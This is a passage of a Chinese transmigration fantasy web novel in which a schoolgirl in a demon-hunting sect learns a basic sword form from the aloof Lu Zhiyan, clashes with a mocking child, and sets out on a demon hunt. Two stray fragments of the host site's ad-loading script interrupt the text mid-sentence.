屏风后的人突然没了动静,总有一种“小孩静悄悄,必定在作妖”的感觉。路植晏刚想开口,但是张了张嘴又不想出声。 盼头,顿感日子有了盼头! 她的生活有了明确的目标。 这提升一等级就能够将距离扩大,那是不是只要自己认真学习,积极猎妖,她就可以脱离路植晏自由自在地玩耍了。 “啊——”谢惊春长呼一声,瞬间觉得浑身轻松。 “谢惊春。”路植晏试探着喊了一声。 谢惊春回过神来,郑重其事地说道:“路植晏,我能不能拜托你一件事?” 从明日开始,她就要开始术法的修炼,其中剑法为基本。路植晏与他人不一样,修的是双剑法,在剑术上颇有心得。 若是不能让路植晏做自己的老师,不能让他们的距离保持在1公里内,那么她的修行必会受影响。 “何事?” “做我的老师。” “不可能。” 8. 当阳(八) 在降真阁听了几天的理论课,谢惊春觉得自己在听天书,差点累脱相。 这降真阁不仅讲述捉妖理论,还教礼仪嘞,每个人都得规规矩矩地跽坐着,上身得挺地板板正正,一坐坐一天,能得空站起来转转脚脖子都算是得了大便宜。 授课的小老头应当是纯讲理论的,讲起话来摇头晃脑,很符合谢惊春刻板印象中的夫子形象,讲得其他人都昏昏欲睡,只留谢惊春滴溜着大眼睛,似乎听得很认真。 “看看你们,像什么样子!看看谢惊春,不仅精神抖擞,还会将老夫讲的话记下来!” 其他人:切,装什么装。 谢惊春:啊我吗?没办法啊,在现实生活中养成习惯了,我这脑袋瓜子不记下来就等于没听。 现在谢惊春已经是LV1,白天超出的绝对无痛距离,她忍忍也算过得去。一过酉时四刻的下课时间,她就赶紧用掉两刻免疫来吃饭,再马不停蹄偷赶去拘心台。 一到拘心台,她就开始背白天记的笔记。 路植晏每天烦她烦得要死,「出去」和「滚」几乎挂在嘴边上。 可对谢惊春而言,这都不算什么,她听过的恶毒语言,接受过的恶意可多多了。 她就笃定了路植晏拿她没办法。喊人?站起来打她一顿?路思贤只会将怒气迁在自己儿子身上。 谢惊春日常在拘心台背一个多时辰,再和路植晏唠半个时辰,虽然他大多数时候都不屑于理她的碎碎念。 有时说到一半,谢惊春居然就在屏风那一头睡着了,这种时候路植晏「乐于助人」的精神就冒出来了——把她喊醒。 如果谢惊春赖着不走,他就一直喊她,搅得她睡不着。 谢惊春没办法,只能像游魂一样飘回去睡觉。 “天反时为灾,地反物为妖,额,然后,哎?然后是啥来着?嘶,看一眼……” “妖生桃源,若进世间,先渡于明,后渡于阴,心昧欲盛,为祸世间,是以夫捉妖师者,以剑法,符法,阵法此三者,上证天地良道,还朗乾坤,下安黎民之计,肃清全野。皆誓:太阴三百岁,只求天下太平,四海生花。” 听谢惊春卡壳四次后,路植晏终于忍不住将剩下的内容背完。 谢惊春拍掌喝彩:“对对对,我就是想这样说来着,路二公子真厉害啊!” “呵呵,没你厉害。” 好不容易通过了降真阁的笔试,但当早上天刚亮就被姜眠鹤拉起来跑步时,谢惊春一脸生无可恋,觉得自己回到了高一。 “恭喜通过了降真阁考试,正式进入修习环节!”姜眠鹤一边退着跑,一边激动地比谢惊春本人还要高兴。 “谢……谢谢,哎呦哎呦,我……我跑不动了!”谢惊春扶着后腰,每跑一步,脚尖都快贴着地面。 姜眠鹤一拍她的肩:“跑跑跑,跑起来!加油!” *** 谢惊春像是被抽去了一缕魂魄,在修场间站得松松散散。 “太龙剑法是你们必修基础之法,只有将太龙剑法习得炉火纯青,命剑才有可能挂上代表能力的绿色,红色,甚至是黑色缨柄。” 缨柄的颜色象征着对命剑的掌握能力,等级分别为:白色,蓝色,绿色,红色,黑色。 原著中好像并没有刻意解释这个设定,仔细想想好像姜眠鹤的就是绿色。 感觉好像跆拳道等级,谢惊春歪头想着。 接着,她低头看了看金樽的剑缰。 没有?!!! 她再左右扫了两下,发现一圈人当中居然有很多小孩。而且,他们的剑缰最起码都是白的,也就是说他们对自己的命剑都有了一定的掌握程度。 明明自己很早就觉醒「法力」,也很小就选了命剑,没想到在这普通班中是最菜的。 她赢在起点,却在起点上铺上被子睡大觉。 大家这么卷干什么?给分配工作吗? “以后会根据你们的缨柄颜色推荐至各地捉妖司。若咱们普通班也有佼佼者,且本人愿意,三正会将你的推荐信送至长安皇宫的百妖监察司。” 我靠!真的给包分配! “百妖监察司,听说那里的捉妖师只受天子令,只要保皇城平安便有极高俸酬。还有特赐令牌,司正出行,百官避让。总之,比之三正法司,威风许多。” 人群中有人惊叹,开始嘀嘀咕咕地讨论起来,只是说起最后一句话时,声音几乎快没有了。 这么好?原主怕不是觉得自己是谢家大小姐,有整个积玉山养着,所以才会对修习之事无所谓吧。 一般捉妖师,哪怕没有那所谓除妖邪,护苍生的远大抱负,也会被这样包分配的待遇所吸引。 谢惊春环视了一圈,真的一个空的都没有吗?多希望有个人和自己一样…… 空的!是空的!太感动了,让我看看是哪个倒霉鬼和我一样没有剑穗! …… 一个胖嘟嘟的小孩,看起来大概就十岁,一边抠鼻一边不耐烦地动来动去。瞅着还有点眼熟,似乎是刚上当阳时,引她见路家主的小孩。 似乎察觉到谢惊春的眼神,他也望了过来。 在看到她空悬的剑柄后,先是一愣,然后露出了一个非常鄙夷的笑,朝着谢惊春的方向弹了弹指尖的大鼻嘎。 果然自己还是讨厌小孩,宿舍每天结尾的话题是对的:要生你生,反正我不生。 谢惊春紧紧按着金樽,告诉自己不和小孩一般计较,好好修习!然后猎妖提升等级,早日摆脱和路植晏绑定的命运,哼! “太龙分七式。一式刺明钟,二式力千钧,三式捣黄龙,四式破行阵,五式封鬼神,六式开仙门,七式定乾坤,七式合一,窥天境。” “你们的任务是一年内将七式全部学会,这样才能在明年学习更高深的剑术,否则……”惜慈走到李岁寒的身边,抬脚轻踢向他的小腿,这个圆滚滚的身体瞬间倒在地上,“就给我滚下当阳。” “李岁寒,这里只有你的命剑上空无一物,为何态度还如此散漫?不要以为你年纪最小就可以不当回事!我说过,在当阳,只认能力,不认年龄。” 谢惊春很心虚…… 她不敢直接回头,偷偷向后瞥了一眼,谁知道那小孩一直气鼓鼓地看着自己。 下一刻,他指向惊春的方向,昂着头,噘着嘴,泪水在眼眶里打转,“她也没有,师姐为何只说我不说她?” 此话一出,周围一圈人的目光瞬间围了过来。 臭小孩,咋这么没眼力见呢?! 算了,丢人就丢人吧! 谢惊春闭目,深深叹了一口气。 大家这才注意到这个身穿淡蓝长裙的少女,但在看清她的长相时,也就不奇怪了。 “她看着比我都大吧,怎么还如此差劲?” “你不知道她吗?谢家大小姐谢惊春啊,她爹教了快十年都一事无成,也不知道送到当阳有什么用?” “人家只是过来体验一下罢了……” “这下不怕了,如此有谢家大小姐兜底,自己怎么也不算是最差的那个。” 一群人交头接耳的,但每个字谢惊春都听得一清二楚,只能在心中告诉自己:和我无关,和我无关,我只需要完成自己该干的就行了,尽量舒舒服服地见证结局就行了。 反正,也习惯了。她从小就不是出色的孩子,不优秀也不是特别差,成绩中等,压轴题放弃。 惜慈是见过谢惊春的,她剜了李岁寒一眼,装作没有听到他的话,继续说:“一式刺明钟,讲究的就是一个直,尖,狠。这三日只有一个要求,完成我接下来的动作,并持剑刺入你们面前的铜钱孔方可离开。” 惜慈轻而易举地示范了一遍,一圈动作下来,看起来也不复杂。 “师姐,这个是最基本的剑法,我们都学过了,直接从一式开始吧。”不知道是哪一个开了口,随后其他人也附和了起来。 “这是得多瞧不起我们?……” “就是。难不成是为了考虑她……” 谢惊春紧紧地盯着面前的铜钱孔,却从那小小的孔中扫见前面两个人余光正瞥向自己。 “是降真阁听学没能和你说清楚,勿要非议他人吗?记住,任何教你们术法的老师,都有权利将你们任何人除名。” 大家不再说些什么,纵使今日学的东西对他们而言是比较简单,但也只能乖乖练着,撑到太阳下山。 等到日落,人群便一哄而散。 没过一会儿,整个修场便只剩谢惊春和李岁寒了。 本以为这小子是留下来练剑,谁知道他单纯是留下来看自己笑话的。 “哈哈哈哈哈哈哈哈,你这么大人了,怎么连这个都学不会哈哈哈哈哈哈哈——” 那小孩儿笑得跪在地上直不起身。 在碰到铜钱且弹回来打到自己脸七百三十二次后,谢惊春终于按捺不住怒火。 本来身上就有些痛,还学不会,还被六七岁的小孩嘲笑。她提着剑怒气冲冲地指着李岁寒:“臭小孩,笑什么笑,你会?” 说罢,她又学着惜慈的口吻,“在当阳,不认年龄,只认能力!” 小孩突然正色,作思索状,点了点头,“只是,你好像是年龄太大,能力太弱……哈哈哈哈哈哈哈哈哈——” 喂喂喂,我虽是苦逼高二生,却也是花季少女,好不啦! 忍住忍住,不管他,就当有条狗在狗叫…… 如此想着,惊春转过头,不再理睬他,继续干自己的事。 “七百三十三,嘶——痛,七百三十四……” “不认年龄,那好,你敢不敢和我打个赌。”李岁寒一瘸一拐地走到她身边,牵了牵她的裙角。 不鸟他。 就不信了,难道这个破孔她今天还就对不准了。 她甩了甩右臂,肩膀处的酸痛才消除一点点。 “啪——” …… 感觉像是打到什么东西了…… 一低头,李岁寒捂着脸,气鼓鼓地盯着她:“呜呜呜——你打我,我要告诉姜眠鹤姐姐,我要告诉姜眠鹤姐姐,让她揍扁你,呜呜呜——” 看来是刚才甩手不小心甩到他脸上了,谢惊春连忙蹲下身,环视四周:“嘘——我不是故意的,对不起,你别哭了!” 最受不了小孩哭了。 “你答应和我打赌,我就不哭。” 她怕孩子的哭声会再招来其他人,给自己多事,于是妥协:“什么赌什么赌?你说。” 李岁寒瞬间收了泪:“谁最快学会这一招,另一个人得答应他一件事,任何事!” 望了眼铜孔,又望了眼小孩的身高,感觉有几分胜算。 见她犹豫,李岁寒撅起嘴又准备哭。 “好好好,我答应我答应。” 绝不生小孩。 原著中起姜眠鹤这个小迷弟时,她还觉得好可爱。 如今真正接触到,她只想打他一顿。 “那开始吧。” 谢惊春绕了绕肩膀,费力地抬起金樽。 等等等等,小孩呢? 这李岁寒不知何时没了踪影,整个修场就便只剩她一人。 如今虽是初春,可在刺眼的阳光下一直重复一个动作,让谢惊春额头的碎发变成一坨,背后也出了不少汗。 臭小孩,你最好是在玩。 没人更好,她更放得开。 这段时间除了基本剑法,还修了符箓。 虽然学得过于慢,谢惊春也不是毫无收获。 说到底,她毕竟是积玉山谢家的大小姐,跟着父亲也是零散学了两年。只是后来新鲜感消磨殆尽,看着手掌生出讨厌的茧来,便撂挑子不干。 谢惊春今日发现,有一些肌肉记忆居然被唤醒了。 虽然没能穿入铜钱孔,但她能感觉到也不 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 是特别差。 在现实世界中面对文化课,她拼命学习也赶不上火箭班的那些大牛,能够维持排名不掉就已经是莫大的欢喜了。 她的努力总是像一颗石子落入大海,悄无声息,几乎不会掀起任何波澜。 读书和除妖终归不一样。 在这个世界里,努力会不会像狂风,也能在她的人生中刮起山呼海啸呢? 谢惊春躺在床上想着,洋溢了几分希望。 “惊春,你想去太象山吗?” 姜眠鹤看着疯狂炫饭的谢惊春,有些咂舌。 “太象山?我去了还不是送死吗?我才来多久啊。”谢惊春几近将脸埋进碗里,快速扒饭,生怕别人和自己抢似的。 饿饿饿,她只觉得饿。天天累成狗狗,疼成渣渣。 “其实太象山就像是一座妖怪监狱,生擒住的害人小妖就会被丢进去,专门用于捉妖师训练的,太象山并不是我们现实中能见到的,它存在于法器天地镜中。” “那为什么不把玄阴妖扔到天地镜中,还要那么费力地将其封在束妖窟中?”谢惊春夹了块红烧肉,随口问了一句。 “我听路知慎说,除了因为太象山所能容纳的妖物有限。更重要的是,天地镜是桃花源的东西,关不住来自桃花源的妖。” 谢惊春扒饭的手慢了下来,死气沉沉的眼神焕发出一丝光亮,定定地看着姜眠鹤:“桃花源?” 穿进来她才觉得自己从小说中窥见的这个世界,不过是冰山一角。 根据降真阁教的理论,她只知道,最初的妖都是来源于桃花源,但一千年前桃花源的通道打开,突然人世间就涌入了不少妖。 一开始相安无事,也没人觉得妖是邪物,人妖结为夫妇和朋友之事屡见不鲜。 但不知怎的,过了几年后,渐渐有妖暴走失去理智,特别是那些道行不是很高的妖物,开始为祸人间,吃人害人,以此增强妖力。 每个人都生活在水深火热,胆战心惊中。 或许是上苍有眼,天地有正道。人中也开始有人天生拥有所谓「法力」,能对付妖物。又过几年,此等法力不再随机可得,而只能通过繁衍所得。 于是就有了捉妖世家,为首的路,江,谢三姓赫赫有名,慕名者无数,更是成立一套脱离于朝廷,专管捉妖师的三正法司。 姜眠鹤沉吟半天,才说道:“说《桃花源记》你应当也不知。嗯……这个地方很奇妙,能不能找到它全看机缘。比如你今日很幸运地进入了桃花源,之后你再想在同一个地方进去,那应当是不可能了。 听说早些年,三正法司和朝廷的百妖监察司一直在寻此地,只是劳神伤财又一无所获,这几年才停了。” 《桃花源记》?怎么可能不知啊!这可是初中背了n遍的重点文言文! 谢惊春在心中嚎叫,却不能表现出来。 “为什么一定要将桃花源找到呢?是能得到什么好处?” 姜眠鹤立马来了劲:“当然是因为能得到好处才会找了。这里面法器众多,随便一件拿出来都得供着。你看当年不知是谁偷带出的天地镜,现在用得多宝贝啊,还特地封存起来。” 她看了四下,坐到谢惊春旁边,讳莫如深:“特别是里面有一把剑,得之,可得万物。那万妖之首在此剑下,也可灰飞烟灭。” 这么厉害?! 如果自己得到这剑会如何? “谢惊春,在想什么呢?” 惜慈不知何时出现在她面前,皱着眉头,有些恨铁不成钢。 谢惊春猛然回神,中午姜眠鹤说的话还停留在耳畔。 “抱歉,师姐。” 惜慈抬了抬她的剑:“专心。” 天色暗了下来,橙黄夕阳久久照在脸上有些晃眼。谢惊春才发现,又已经傍晚了。 太阳快落了。 谢惊春精疲力尽地撑着金樽坐了下来,背上像被马车碾过来碾过去,骨头和韧带如同被拉到极致的弹簧,轻轻一动,整个人都掉进了酸水里面。 身上黏糊糊的,额头的汗干了又流,流了又干,刘海恐怕已如打了发胶一样了吧。感觉右手已经不是自己的了,甚至连甩起来都费力,分不清身上的痛是系统的痛还是练剑练的了。 不想练了,不想练了…… “你在干什么?” 刚觉得酸痛感缓解一点快睡着的时候,就听到一道熟悉的声音。 路植晏左手抓着长吟,垂在眼尾处的发丝同她一样,都是黏在一起。面色苍白,整个人看起很是无力。 “啊?你……你出来了?恭喜恭喜。”谢惊春费力地睁开眼,吸了吸快流出来的口水,然后继续睡。 路植晏没管她,兀自向前走,只是脚步有些轻浮。 等等! 谢惊春陡然睁开眼,将他喊住:“路二公子,你,你能陪我坐会吗?” 虽说她与路植晏的绝对无痛距离已经增加至一公里,可是感觉当他离自己比较近时,似乎会缓解她身上既有的酸痛感。 路植晏停了步伐,看了她一眼,没说话。 “求你了,就坐一会就行。” 或许也是觉得有些累,路植晏当真走了过来,坐在离她两米远的地方。 “路二公子,你能教……” “免谈。” 拒绝得这么快。 “那你能告诉我你当初是怎么修这个太龙一式的吗?” “……忘了。” 忘了?他怎么会忘,太龙剑法是路知慎教他的。 六岁,他一个月学会七式去找路思贤时,得到却只是父亲失望的凝视。 “一个月,你居然花了一个月?!当年知慎二十天便学会七式,并加以改进。你现在所学的,都是他改进后的太龙剑法。” 那时,路思贤站在溢满阳光的窗前,伸手挡住耀眼的白阳,而后轻叹一声:“植晏我儿,你何时才能超越他?” 9. 当阳(九) “路二公子?路植晏?” 谢惊春伏在膝盖上喊了好几声,发现旁边的人都没有反应。 许久,路植晏才回过神,站起身:“起来。” 天边夕阳转红,洒在宽敞的修场上,照在素白的金樽上,增添了温暖的色彩。 “再坐会儿吧,累得慌。” 今天一天自己已经够超越极限了,想她谢惊春以前,每天动都懒得动,只趴在桌前刷题,跑个八百都要了老命。 “你这几日所学连一式都算不得,只是释剑的基本功。若是连持剑都无法做到准,那又如何脱手控剑?” 路植晏走到她身边,拿起她撑手的金樽,险些让她一个狗啃泥趴在地上。 他猛然拔开金樽,寒光如箭霎时从鞘中飞出,照得他的墨色双瞳冷冽,耳下铜光长盈。 金樽金樽,当真是把好剑。 只是路植晏想不通,既然金樽已认她为主,与她合契,为何自己还能拔得出来。 就因为这把剑当初是他帮她拔出的? 归鞘。 “路植晏!” “谢大小姐难道难道不觉得,有求于人就不应该是这个态度吗?” “好的好的,我的错我的错,是我声音太大了。路二公子,您答应教我了?”谢惊春立马堆上笑脸,笑意盈盈地给他捶背。 她退后几步,恭恭敬敬地站在那儿,活像迎宾小姐。 路植晏将金樽扔过来:“你更适合竹林。” 啊?谢惊春有些疑惑,但还是跟着去。 西边已只剩最后一丝余晖,李岁寒这小子什么情况? 算了,他还是别来。她还没学会呢,若这小子真的赶在她之前学会了,那岂不是又丢人又得答应他条件。 听竹林。 “坐下。” 地上铺满了散落的枯黄竹叶,上面一层是新落的,还有些绿色的生机。 看着也不是很脏,谢惊春便乖乖坐下。 “闭眼。” 她一合上眼,突然想起:“不是要教剑法吗?” “嘘——”路植晏慢慢道,“听。” “听什么?” “只听,不要睁眼,不要拔剑。” 听,听万物声。 余晖收尽,竹林更加黑暗。月亮升起,穿过竹叶透出稀稀拉拉的清光。 是不是耳屎没掏?啥声也听不着啊。 谢惊春掏了掏耳朵,捻了捻指尖,也没东西啊。 “路植晏?你还在吗?路植晏?路二公子?” 无人应声,只听到一簇簇竹叶被风吹得如浪潮。 这人不会玩自己吧,他跑溜了,留自己一个人像个呆子一样坐半天。 “在。别说话。” 为自己刚才的小人之心惭愧几秒钟。 “我得听到什么时候。” “你想拔剑时。” 拔剑倒不想拔,谢惊春怕再闭下去,直接坐着睡着了。 风似乎变大了,竹叶如海声也似乎变大了,甚至将一些细弱的竹竿吹得咯吱咯吱地响。 她打了个哈欠,继续听。 不知过了多久,风小了些。 路植晏的声音响起:“好了,走吧。” “我可以睁眼了吗?” “嗯。” 今日虽然流了很多汗,可是她太困了,困得没有洗澡,没有熄灭蜡烛,直接一觉睡到大天亮。 一夜无梦。 姜眠鹤来敲她的门时,谢惊春还睡得香甜。 “岁寒昨日和我说你不在修场,我来找你也没见你在屋里。” 谢惊春强忍着右手的酸痛,才勉强洗漱了一下。 “他昨天上午就跑没影了,到傍晚都没来。” 她照了照镜子,一边理了理有点油的刘海,一边说道:“他昨天还和我打赌来着,说谁先能将剑尖一次稳稳地对准铜孔,谁就可以向另一个人提一个条件。” 一旁的姜眠鹤歪着头很是疑惑:“这个,岁寒……好像早就会了。” 他早就会了……他早就会了! 臭小孩!!! “哎哎哎——小孩嘛,喜欢装,理解一下。”姜眠鹤连忙拉住气势汹汹的谢惊春。 今天肯定又要被他嘲笑一番,因为她还没学会啊啊啊啊啊啊——昨天太累迷迷瞪瞪跟着路植晏去了听竹林,最后啥也没学到,反而腿坐麻了。 完了完了,今天惜慈师姐还要教新的东西,她肯定跟不上。 “姜眠鹤,你能教我吗?我还没学会呜呜呜——” 谢惊春一把满抱住姜眠鹤,反正就厚着脸皮求别人教就是喽,教得多了,说不定就会了。 时间紧迫,姜眠鹤也只能帮忙调整了一下握剑的姿势和身段,却发现这个人…咋就是学不会呢。 谢惊春是最后一个赶到修场的。 李岁寒那小子得意的眼神,似乎早就铁定她不会学会。 “我说过,我不验收成果。所以,我会直接教你们一式。” 完了完了,原来真的如路植晏所说,昨天的不过是基本功,现在的才是真正的一式。 同昨天一样,谢惊春又是留到最后一个的人,不过今天有几个人是到傍晚才离开的。 而李岁寒那个臭小子,甚至是闭眼便轻轻松松在她面前刺向铜孔后,只留下一句:“别忘了,你得答应我一件事哦,不过我现在还没想好,等以后想好了再告诉你。”便一颠一颠地跑走了。 容不得谢惊春多想,惜慈不会等任何人,准确来说,应是没有任何人等谢惊春。 “今日教你们护身符以及千里符画法及用法。一式你们自己安排时间勤加练习即可。” 见谢惊春噘着嘴,把一只筷子放在上唇,右手拿着另一只筷子一直在写写画画,就是不吃饭,姜眠鹤不禁问道:“惊春,你怎么了,再不吃饭可就凉了。” “广修内元,身心光明,洞慧长彻,召求金光,护覆吾身。” “一点横,一点纵,三交天地间,邀我见真身。” “嘶——你说这护身符和千里符的口诀倒是好记,也算不上难画,为什么我就是画不出来呢?” 这姜眠鹤还真答不上来,她当初只失败三次,便将千里符和护身符画了出来,后来又多练了几次,便已是得心应手。 她自己都无法理解,为何作为一个从来没接触过法术,甚至从前都不相信法术存在的现代人,学这些东西倒是学得快。 好像她天生如此,本该如此,设定如此。 “这个东西啊,就是看感觉,你就去摸索那种说不上来的感觉,然后再啪一下,金光就有啦。” 谢惊春撑头望着姜眠鹤手里蓝黄的符箓火焰,叹了口气。 感觉感觉,她一点感觉没有。 听竹林。 “你当初真的是靠这个学会太龙剑法的?” 路植晏放下环在胸前的手,逆着夕阳,说道:“是。” 他停了一下,像是自言自语地呢喃:“他教的。” 谢惊春已经听了十夜了,为何感觉并没什么用。 看她不情不愿的模样,路植晏一甩手上的落叶:“你心不静,烦心事都写在脸上了,如此,今日便不宜听。” “哎,这几日惜慈师姐又教了一式和符法,我这……连这基本功都还未学会。” 谢惊春环胸丧气地靠在竹竿上,将脚底下的竹叶踢来踢去,她想了一会儿,还是说道:“不行,还得继续。” *** “谢惊春,大笨猪,练万遍,剑不出。” 李岁寒现在不仅自己一个人单独嘲笑谢惊春,还伙同其他那些不超过十岁的小孩一起围着她唱自编的歌谣。惹得旁边的人哄堂大笑。 Ciao!!! “李岁寒!!!”谢惊春一把拽起胖小孩的后领,本想给他甩出去,却发现小孩太胖了,她根本拎不动。 原著中只是说他多爱黏着姜眠鹤,多么的圆滚滚,肉嘟嘟,如今看来,就是个烦人精! “我打死你个龟孙!李岁寒,你信不信我告诉你父母,说你没礼貌!不懂得尊重他人!” 此话一出,谢惊春倒没想到会让空气凝固。 她环视一圈,发现刚才和他一起嘲笑自己的小孩都不知道跑哪里去了。 “你……” “我讨厌你。”李岁寒抬头,没有哭也没有闹,只是平静地说出这几个字。 什么情况? “你……你讨厌就讨厌呗,讨厌我的人从这里排到 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 了蛮荒,你还得往后稍稍。况且,我还讨厌你呢,彼此彼此。” 李岁寒无言以对,气鼓鼓地咬着嘴唇,一跺脚跑走了。 哼!跑就跑呗,我才不会因为被小孩讨厌而伤心呢。 可是,为什么为什么?为什么就是刺不进去呢?难道说,自己真的这么菜? 谢惊春扶着大腿,不停地喘着气,好像只有这样,身上的疼痛才会缓解。捏紧裙子的右手抖成筛糠,她咬牙切齿,心中难免愤恨,不明白自己为什么连最简单的东西都学不会。 好不容易觉得自己好像有一丝丝的长进,被这臭小孩一搅和,又觉烦闷无比。 树叶沙沙,身后一枫叶随风飘落。她未回头,直接在它落地前一脚跺上去,脆沙沙的响声让人稍解怒意。 来到听竹林,她对着空气便是乱砍一通,将地面厚厚的叶层翻个底朝天。 “这是什么?” “蒙上。” 谢惊春蒙上白布,将金樽放在腿上,坐下来开始聆听安静。 风声喧嚣。 可她的发丝也只微微翕动,轻轻地刮在耳边,痒痒的。 落叶落了她一身,特别是头上,像是从地里滚过来。 她似乎……静了些,若是昨天,她早已经将这些落叶抖落干净了。 路植晏睁眼又立刻闭目,捏着叶柄转来转去,想起自己曾经聆听的过程。 从一开始的无法理解到追寻一片叶的踪迹。他想要找到一片叶,从它掉落伊始,他的耳畔都能感受到它的方向。 可是稍微一点风,就会让许多竹叶簌簌而下,让他再难寻那一片落叶的声音。或许,它已经落地。 听,它要落了,它开始落了,在左边,在右边,它马上要落地了。 一—— 二—— 三—— 拔剑! “铮!”的一声,冷光乍现,初晨月色映照剑面,闪过蒙眼的白布。不过一瞬,竹叶即断,剑锋掠过凛冽的空气,随后“哐啷”—— 金樽,入鞘。 谢惊春单手支在地上,疯狂地喘着粗气,刚才那一下看起来不过几秒,却是她屏气许久的结果。 路植晏停了转叶柄的动作,静静地看着她。 干咽了几口,待气息稳定后,她问道:“我可以,揭开白布了吗?” “可以。” 谢惊春揭开白布,东方的第一缕曙光正穿越万里,照在她的脸上。 天快亮了。 她满身落叶,呆呆地望着微光。 自己居然从昨天傍晚一直坐到了今天早晨,可她并没有觉得时间很长。她只是一直在找,一直在找,在找那样的一片落叶…… 路植晏的大拇指轻轻一挑,手中铜钱便飞了起来。 两道拔剑声同时响起—— 金樽对长吟,剑尖抵住,擦出一丝火花,将铜钱悬在在半空中。 “我靠……芜湖~~~!” 谢惊春瞪大着眼睛,有些不敢相信。 “多谢路老师指教!!!” 爽呆了,终于体会到成功的味道了。 “路老师路老师,我三日学成,算不算快的?” “还行。” “那你当初学了多久? 路植晏低头看着她激动的面庞,顿了许久,淡淡道:“一个时辰。” …………好吧好吧,读书时也见识过不少大佬天天睡觉打游戏但人家就是成绩好,照样甩你几条街。 “路二公子帮了我这么大忙,日后若是有用得着我谢惊春的地方,你吱一声,我必亲至。” 谢惊春想了想:“要不等到什么时候下当阳,我请你吃饭?” 本以为路植晏会拒绝,可是没想到他一挑眉,语气轻佻:“可以啊。不过,不用等到什么时候,直接三日后便可。” “三日后?那不行,我每天都很重要,落了一天的课业都没时间找补。” “谢大小姐,你不是想要让我做你的老师?我难道不能考验你一番?” 嗯? 谢惊春压抑着怀疑的喜悦:“那你说三日后去哪儿?” 路植晏将铜钱在各个指缝中转来转去,勾起唇角: “此去除妖,凌阳郡。” 10. 当阳(十) “路二公子,你确定这个地方真的有妖吗?” 两人来到春安巷,看着早已渗透入青石板缝且干涸的血迹,路植晏站起身,从怀里掏出一块罗盘,分圈转动,发出令人舒适的吱吱响声。 “收到的消息是此妖容貌千变,最爱生啖人肉,应是刚化人形。在它露面前,还不能与此地捉妖司碰头,以防打草惊蛇。” 听到生啖人肉,谢惊春不禁打了个冷战。 路植晏走了几步,天池指针对着蹲在地上的谢惊春,他突然话锋一转:“但是现在我想和你,玩个游戏。” “游戏?什么意思?” 谢惊春满脸疑惑,不知面前人突然抽了什么风。 “很简单,就是捉迷藏,我找你。若你输了,也就不用考验你,那你便也不要再缠着我让我做你的老师了。” “若是你没找到我呢?” “收你作徒弟。” 谢惊春想,他既然如此说,那必然是有必胜的把握了,自己才不干呢。 再说了,万一他偷摸着使用什么法器,以自己在这个世界的钝感,怕也是难知的。 “我不想玩,太幼稚。” “行,那你回去吧。或者留在这儿,万一那妖突然窜出来,你不是我的徒弟,我自然不会管你。” 见她沉默许久,路植晏转过身,准备夜时守备。 “等等!”谢惊春咬咬牙,快速走上前拦住了他的去路,“我可以和你玩。但是,先说好了,你我都不得使用任何法器或法术。另外,若是我赢了,我要加一个好处。” “什么好处?” “请务必倾囊相授,不许嫌我笨,不许嫌我烦。还有,不许离我太远。” 前三个能理解,路植晏品味着第四点,随后好笑道:“这是四个好处,谢大小姐觉得公平吗?” “我觉得公平。路二公子是害怕连这么幼稚的游戏都会输给我?那便作罢。” 良久,路植晏吐字:“好。” “我还有个要求。” 路植晏啧了一声,瞬间就不耐烦了:“你到底还有什么要求?” “等一会儿,我说开始再开始。” 谢惊春抬头瞄了几眼他的反应,可没想到路植晏竟然十分爽快地点了点头,还提醒道:“你最好躲远一点。” 她松了一口气,但是心中却一直犯嘀咕:路植晏什么目的?他是被脑袋被门夹了的驴给踢了? 这里没有宵禁,彼时明灯四起,长河之上飘着稀稀拉拉的花灯,什么花都有。各种各样的吆喝声,调笑声,中间还夹杂着妇人的怒骂声,男人的呵斥声。 这些声音一股脑地,争先恐后地钻入谢惊春的耳朵,让她一下子怔了神。 相思桥上站着几名娇俏的女子,左不过与十三到十七岁的样子,含情脉脉,如那春水一般,潋滟娇媚。 有的似乎是在等自己的情郎,手中紧紧攥着的是日日夜夜,一针一线绣的鸳鸯荷包,里面大多装着自己喜爱的香料。就为了让自己的心上人身上能和自己有一样的味道,怀着最明媚的期待。 也有几个穿着素净简朴,但看起来干净整洁的男子。靠在桥上,相互攀谈。 若是看到自己的女孩走来,便和其他男子恭敬地请辞,然后怯怯地拉起女孩的手,身后是起哄吵闹的声音。 “怎么样?谢大小姐,开始吧?” 路植晏双手抱在脑后,慧黠轻蔑,一副势在必得的模样。 谢惊春望着眼前的景象好不热闹,一时间都挪不开眼了,半晌才应了一声:“好啊。” 她指着河上四季船说道:“当这「春」旗船经过三次时,你才可以来找我。时间,半个时辰。” 四季船是红袖招用来招揽生意的,还可以让那些客人在河上调情,别有一番风味,增添了不少乐趣,让各种人趋之若鹜。听说在红船上与佳人共度几个时辰,竟比在楼中一个良宵还要贵呢! 如今,河中四季船便成了它的招牌了,越来越多。一艘船上都会挂上各色旗子,旗上会写上四季和花名,以此分类。 诸多红船同行,衬得水面上绯红潋滟。 这偌大的长街,哪个角落都可以藏人。那么,路植晏,你要如何找到呢? “二。”路植晏坐在河边的阶梯上,撑头看着黑洞洞的河水,似乎在思忖着什么。 若真自己的猜测当真没错,那这到底是为什么? 为什么?他能感知到谢惊春的方位。 从什么时候开始的?他的脑海中产生了一种直觉,一条路,只要他刻意去感知,再顺着这条路走,那么谢惊春必然会站在路的尽头。 这条路,是白色的。 路的尽头是彩色的,谢惊春她总是喜欢穿各种颜色的衣服,尤爱桃红柳绿,春色上春衫,浮光成尘。 第一次将这条路与谢惊春搭上关系时,他问:你,是何时站在这里的? 他甚至怀疑她也只是刚来,这条路的尽头不应是她,可答案是:半个时辰前。 也就是说,这条路就是故意将他指引至此。 拘心台一句:谁? 虽然已猜到答案,可还是有点不可置信,果然又是她。 她从那条路走来。 “公子,坐不坐旗船呢?” 船上红粉佳人顾盼生姿,见岸上人半天不搭理,撇了撇嘴,小声嘀咕了几句,一头钻回船舱,对着里头的人说道:“怎么,小公子认识他?那为何不直接同他说话?” “姑娘,无妨。只是做做样子罢,我知晓他不会上船的。” 月亮长毛,外面笼罩了一层朦黄的光晕。 当那挂满红绸的春旗船第三次经过时,路植晏不紧不慢地站起身,侧身看着不远处的红袖招。 一打开红袖招的大门,脂粉酒香扑面而来,里面灯红酒绿,女子娇嗔之声不绝于耳。 熙熙攘攘的比外面还要喧嚣。 